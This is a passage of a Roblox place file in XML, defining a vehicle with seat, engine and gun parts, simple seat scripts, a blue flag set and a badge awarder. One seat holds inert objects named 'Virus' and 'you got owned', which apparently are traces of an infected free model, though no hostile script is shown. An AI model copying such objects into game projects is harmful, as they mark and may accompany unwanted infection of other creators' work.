								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-119.5</X>
									<Y>29.8000031</Y>
									<Z>252.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Seat</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00179485499</X>
									<Y>0.00490040937</Y>
									<Z>-0.0188368652</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>0.400000006</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX1324">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onDie()
	human = nil
	script.Parent.Parent.Parent:BreakJoints()
	wait(5)
	script.Parent.Parent.Parent:Remove()
end

function Child(c)
	if c.Name == &quot;SeatWeld&quot; and c.Part1.Name == &quot;Torso&quot; then
		human = c.Part1.Parent
		script.Parent.Parent.Parent.Parent = human
		human.Humanoid.Died:connect(onDie)
	end
end

function noChild()
	human = nil
	script.Parent.Parent.Parent.Parent = game.Workspace
end

script.Parent.ChildAdded:connect(Child)
script.Parent.ChildRemoved:connect(noChild)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX1325">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onChildAdded(child)
if child.Name == &quot;SeatWeld&quot; then
if child.Part1.Name == &quot;Torso&quot; then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player ~= nil then
tool = game.Lighting.Helicopter:Clone() -- Change this to whatever it is
tool.Parent = player.Backpack
end
end
end
end

function onChildRemoved()
if tool ~= nil then
tool:Remove()
end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)

-- Put it in the seat you want to give a tool.
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1326">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-116.5</X>
									<Y>29.1000023</Y>
									<Z>252.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Engine</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00179485499</X>
									<Y>0.00490040937</Y>
									<Z>-0.0188914835</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>5</X>
									<Y>1</Y>
									<Z>15</Z>
								</Vector3>
							</Properties>
							<Item class="BodyGyro" referent="RBX1327">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">BodyGyro</string>
									<float name="P">3000</float>
									<CoordinateFrame name="cframe">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>8.99999949e+009</X>
										<Y>8.99999949e+009</Y>
										<Z>8.99999949e+009</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyVelocity" referent="RBX1328">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">BodyVelocity</string>
									<float name="P">1250</float>
									<Vector3 name="maxForce">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX1329">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4278190335</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294967295</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1330">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-117</X>
									<Y>30.1000023</Y>
									<Z>257.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun3</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00170382601</X>
									<Y>0.00490040798</Y>
									<Z>-0.0188823789</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX1331">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-117</X>
									<Y>30.1000023</Y>
									<Z>260.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun4</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00164920848</X>
									<Y>0.00490040751</Y>
									<Z>-0.0188823789</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Fire" referent="RBX1332">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294957824</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1333">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-117</X>
									<Y>30.1000023</Y>
									<Z>247.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun2</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00188588409</X>
									<Y>0.00490041077</Y>
									<Z>-0.0188823789</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Fire" referent="RBX1334">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294939392</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX1335">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-117</X>
									<Y>30.1000023</Y>
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								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX1496">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-113</X>
								<Y>27.8000011</Y>
								<Z>256</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>1.87310278e-010</X>
								<Y>1.82058138e-005</Y>
								<Z>1.03550606e-011</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.00173113472</X>
								<Y>0.00490040891</Y>
								<Z>-0.0189552028</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="RotateP" referent="RBX1497">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Billylones is awesomesauce</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX1498">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="RotateP" referent="RBX1499">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX1500">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="Weld" referent="RBX1501">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Virus</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX1502">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1503">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BlueFlagSet</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Flag" referent="RBX1504">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Enabled">true</bool>
					<CoordinateFrame name="Grip">
						<X>1.25</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<string name="Name">BlueFlag</string>
					<int name="TeamColor">23</int>
					<Content name="TextureId"><null></null></Content>
				</Properties>
				<Item class="Part" referent="RBX1505">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-212.5</X>
							<Y>10.4000006</Y>
							<Z>256.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4.80000019</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1506">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1038492</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1043975</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="FlagStand" referent="RBX1507">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">23</int>
					<CoordinateFrame name="CFrame">
						<X>-213.5</X>
						<Y>7.4000001</Y>
						<Z>256.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">BlueFlagStand</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<int name="TeamColor">23</int>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>1.20000005</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1508">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1509">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-230</X>
						<Y>7.4000001</Y>
						<Z>190</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
